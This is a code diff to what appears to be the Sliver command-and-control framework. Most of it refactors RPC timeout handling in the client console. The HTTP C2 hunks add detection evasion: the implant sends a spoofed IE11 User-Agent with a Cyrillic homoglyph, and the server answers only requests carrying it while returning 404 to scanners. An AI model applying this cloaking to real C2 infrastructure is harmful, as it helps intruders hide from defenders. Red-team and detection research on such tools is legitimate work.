diff --git a/client/command/filesystem.go b/client/command/filesystem.go
index 967df338a..979079d8f 100644
--- a/client/command/filesystem.go
+++ b/client/command/filesystem.go
@@ -225,10 +225,6 @@ func cat(ctx *grumble.Context, rpc RPCServer) {
 		fmt.Printf(Warn+"Error: %s", resp.Err)
 		return
 	}
-	if resp.Err != "" {
-		fmt.Printf(Warn+"Error: %s", resp.Err)
-		return
-	}
 
 	download := &sliverpb.Download{}
 	proto.Unmarshal(resp.Data, download)
@@ -353,10 +349,6 @@ func upload(ctx *grumble.Context, rpc RPCServer) {
 		return
 	}
 
-	if err != nil {
-		fmt.Printf(Warn+"Unmarshaling envelope error: %v\n", err)
-		return
-	}
 	upload := &sliverpb.Upload{}
 	err = proto.Unmarshal(resp.Data, upload)
 	if err != nil {
diff --git a/client/command/job.go b/client/command/job.go
index 405c68ac9..eafc58c11 100644
--- a/client/command/job.go
+++ b/client/command/job.go
@@ -19,10 +19,11 @@ func jobs(ctx *grumble.Context, rpc RPCServer) {
 		Type: clientpb.MsgJobs,
 		Data: []byte{},
 	}, defaultTimeout)
-	if resp == nil {
-		fmt.Printf(Warn + "Command timeout\n")
+	if resp.Err != "" {
+		fmt.Printf(Warn+"Error: %s\n", resp.Err)
 		return
 	}
+
 	jobs := &clientpb.Jobs{}
 	proto.Unmarshal(resp.Data, jobs)
 
@@ -72,10 +73,6 @@ func startMTLSListener(ctx *grumble.Context, rpc RPCServer) {
 		Type: clientpb.MsgMtls,
 		Data: data,
 	}, defaultTimeout)
-	if resp == nil {
-		fmt.Printf(Warn + "Command timeout\n")
-		return
-	}
 	if resp.Err != "" {
 		fmt.Printf(Warn+"Failed to start job %s\n", resp.Err)
 		return
@@ -102,10 +99,6 @@ func startDNSListener(ctx *grumble.Context, rpc RPCServer) {
 		Type: clientpb.MsgDns,
 		Data: data,
 	}, defaultTimeout)
-	if resp == nil {
-		fmt.Printf(Warn + "Command timeout\n")
-		return
-	}
 	if resp.Err != "" {
 		fmt.Printf(Warn+"Failed to start job %s\n", resp.Err)
 		return
@@ -130,10 +123,6 @@ func startHTTPSListener(ctx *grumble.Context, rpc RPCServer) {
 		Type: clientpb.MsgHttps,
 		Data: data,
 	}, defaultTimeout)
-	if resp == nil {
-		fmt.Printf(Warn + "Command timeout\n")
-		return
-	}
 	if resp.Err != "" {
 		fmt.Printf(Warn+"Failed to start job %s\n", resp.Err)
 		return
@@ -157,10 +146,6 @@ func startHTTPListener(ctx *grumble.Context, rpc RPCServer) {
 		Type: clientpb.MsgHttp,
 		Data: data,
 	}, defaultTimeout)
-	if resp == nil {
-		fmt.Printf(Warn + "Command timeout\n")
-		return
-	}
 	if resp.Err != "" {
 		fmt.Printf(Warn+"Failed to start job %s\n", resp.Err)
 		return
diff --git a/client/command/shell.go b/client/command/shell.go
index 31c1f26a0..01621200a 100644
--- a/client/command/shell.go
+++ b/client/command/shell.go
@@ -42,10 +42,6 @@ func shell(ctx *grumble.Context, server *core.SliverServer) {
 		Type: sliverpb.MsgShellReq,
 		Data: shellReqData,
 	}, defaultTimeout)
-	if resp == nil {
-		fmt.Printf(Warn + "Error: Server did not respond to request")
-		return
-	}
 	if resp.Err != "" {
 		fmt.Printf(Warn+"Error: %s", resp.Err)
 		return
diff --git a/client/command/sliver.go b/client/command/sliver.go
index 411aa88a4..26f6a0314 100644
--- a/client/command/sliver.go
+++ b/client/command/sliver.go
@@ -32,8 +32,8 @@ func sessions(ctx *grumble.Context, rpc RPCServer) {
 		Type: clientpb.MsgSessions,
 		Data: []byte{},
 	}, defaultTimeout)
-	if resp == nil {
-		fmt.Printf(Warn + "Command timeout\n")
+	if resp.Err != "" {
+		fmt.Printf(Warn+"Error: %s\n", resp.Err)
 		return
 	}
 	sessions := &clientpb.Sessions{}
@@ -142,10 +142,6 @@ func kill(ctx *grumble.Context, rpc RPCServer) {
 		Type: sliverpb.MsgKill,
 		Data: data,
 	}, defaultTimeout)
-	if resp == nil {
-		fmt.Printf(Warn + "No response from server\n")
-		return
-	}
 
 	if resp.Err != "" {
 		fmt.Printf(Warn+"%s\n", resp.Err)
@@ -283,10 +279,6 @@ func compile(config *clientpb.SliverConfig, save string, rpc RPCServer) {
 		Data: generateReq,
 	}, 1200*time.Second) // TODO: make timeout a parameter
 	ctrl <- true
-	if resp == nil {
-		fmt.Printf(Warn + "No response from server\n")
-		return
-	}
 	if resp.Err != "" {
 		fmt.Printf(Warn+"%s\n", resp.Err)
 		return
@@ -430,10 +422,6 @@ func newProfile(ctx *grumble.Context, rpc RPCServer) {
 		Type: clientpb.MsgNewProfile,
 		Data: data,
 	}, defaultTimeout)
-	if resp == nil {
-		fmt.Printf(Warn + "No response from server\n")
-		return
-	}
 	if resp.Err != "" {
 		fmt.Printf(Warn+"%s\n", resp.Err)
 	} else {
@@ -445,10 +433,6 @@ func getSliverProfiles(rpc RPCServer) *map[string]*clientpb.Profile {
 	resp := <-rpc(&sliverpb.Envelope{
 		Type: clientpb.MsgProfiles,
 	}, defaultTimeout)
-	if resp == nil {
-		fmt.Printf(Warn + "No response from server\n")
-		return nil
-	}
 	if resp.Err != "" {
 		fmt.Printf(Warn+"%s\n", resp.Err)
 		return nil
diff --git a/client/core/core.go b/client/core/core.go
index 80c73c5df..765b788ec 100644
--- a/client/core/core.go
+++ b/client/core/core.go
@@ -176,7 +176,7 @@ func (ss *SliverServer) RPC(envelope *sliverpb.Envelope, timeout time.Duration)
 		case respEnvelope := <-resp:
 			respCh <- respEnvelope
 		case <-time.After(timeout):
-			respCh <- nil
+			respCh <- &sliverpb.Envelope{Err: "Timeout"}
 		}
 	}()
 	return respCh
diff --git a/server/c2/tcp-http.go b/server/c2/tcp-http.go
index 09929790f..f179a7521 100644
--- a/server/c2/tcp-http.go
+++ b/server/c2/tcp-http.go
@@ -163,11 +163,14 @@ func (s *SliverHTTPC2) router() *mux.Router {
 	//  .js = poll
 	// .png = stop
 
-	router.HandleFunc("/{rpath:.*\\.txt$}", s.rsaKeyHandler).Methods("GET")
-	router.HandleFunc("/{rpath:.*\\.css$}", s.startSessionHandler).Methods("GET", "POST")
-	router.HandleFunc("/{rpath:.*\\.php$}", s.sessionHandler).Methods("GET", "POST")
-	router.HandleFunc("/{rpath:.*\\.js$}", s.pollHandler).Methods("GET")
-	router.HandleFunc("/{rpath:.*\\.png$}", s.stopHandler).Methods("GET")
+	router.HandleFunc("/{rpath:.*\\.txt$}", s.rsaKeyHandler).MatcherFunc(filterAgent).Methods(http.MethodGet)
+	router.HandleFunc("/{rpath:.*\\.css$}", s.startSessionHandler).MatcherFunc(filterAgent).Methods(http.MethodGet, http.MethodPost)
+	router.HandleFunc("/{rpath:.*\\.php$}", s.sessionHandler).MatcherFunc(filterAgent).Methods(http.MethodGet, http.MethodPost)
+	router.HandleFunc("/{rpath:.*\\.js$}", s.pollHandler).MatcherFunc(filterAgent).Methods(http.MethodGet)
+	router.HandleFunc("/{rpath:.*\\.png$}", s.stopHandler).MatcherFunc(filterAgent).Methods(http.MethodGet)
+
+	// Request does not match the C2 profile so we pass it to the default handler
+	router.HandleFunc("{rpath:.*}", defaultHandler).Methods(http.MethodGet, http.MethodPost)
 
 	router.Use(loggingMiddleware)
 	router.Use(defaultRespHeaders)
@@ -175,6 +178,15 @@ func (s *SliverHTTPC2) router() *mux.Router {
 	return router
 }
 
+// This filters requests that do not have the correct "User-agent" header
+func filterAgent(req *http.Request, rm *mux.RouteMatch) bool {
+	userAgent := req.Header["User-Agent"]
+	if 0 < len(userAgent) && strings.HasPrefix(userAgent[0], "Mozillа") {
+		return true
+	}
+	return false
+}
+
 func loggingMiddleware(next http.Handler) http.Handler {
 	return http.HandlerFunc(func(resp http.ResponseWriter, req *http.Request) {
 		log.Printf("[http] %v", req.RequestURI)
@@ -207,6 +219,10 @@ func defaultRespHeaders(next http.Handler) http.Handler {
 	})
 }
 
+func defaultHandler(resp http.ResponseWriter, req *http.Request) {
+	resp.WriteHeader(404)
+}
+
 // [ HTTP Handlers ] ---------------------------------------------------------------
 
 func (s *SliverHTTPC2) rsaKeyHandler(resp http.ResponseWriter, req *http.Request) {
@@ -361,7 +377,7 @@ func (s *SliverHTTPC2) stopHandler(resp http.ResponseWriter, req *http.Request)
 
 func (s *SliverHTTPC2) getSession(req *http.Request) *HTTPSession {
 	for _, cookie := range req.Cookies() {
-		log.Printf("[http] Cookie: %#v", cookie)
+		// log.Printf("[http] Cookie: %#v", cookie)
 		if cookie.Name == sessionCookieName {
 			session := s.Sessions.Get(cookie.Value)
 			if session != nil {
diff --git a/sliver/transports/tcp-http.go b/sliver/transports/tcp-http.go
index 83ed7a979..4159153c5 100644
--- a/sliver/transports/tcp-http.go
+++ b/sliver/transports/tcp-http.go
@@ -40,6 +40,8 @@ import (
 )
 
 const (
+	// IE 11 User-agent with a unicode 'a'
+	defaultUserAgent  = "Mozillа/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko"
 	defaultNetTimeout = time.Second * 60
 	defaultReqTimeout = time.Second * 60 // Long polling, we want a large timeout
 )
@@ -100,7 +102,8 @@ func (s *SliverHTTPClient) SessionInit() error {
 
 func (s *SliverHTTPClient) newHTTPRequest(method, uri string, body io.Reader) *http.Request {
 	req, _ := http.NewRequest(method, uri, body)
-	req.Header.Set("User-Agent", "")
+	req.Header.Set("User-Agent", defaultUserAgent)
+	req.Header.Set("Accept-Language", "en-US")
 	return req
 }
 
@@ -111,17 +114,20 @@ func (s *SliverHTTPClient) getPublicKey() *rsa.PublicKey {
 	// {{end}}
 	req := s.newHTTPRequest(http.MethodGet, uri, nil)
 	resp, err := s.Client.Do(req)
-	if err != nil || resp.StatusCode != 200 {
+	if err != nil {
 		// {{if .Debug}}
-		log.Printf("Failed to fetch server public key")
+		log.Printf("[http] Failed to fetch server public key: %v", err)
 		// {{end}}
 		return nil
 	}
+	// {{if .Debug}}
+	log.Printf("[http] <- %d Server key response", resp.StatusCode)
+	// {{end}}
 	data, _ := ioutil.ReadAll(resp.Body)
 	pubKeyBlock, _ := pem.Decode(data)
 	if pubKeyBlock == nil {
 		// {{if .Debug}}
-		log.Printf("Failed to parse certificate PEM")
+		log.Printf("[http] Failed to parse certificate PEM")
 		// {{end}}
 		return nil
 	}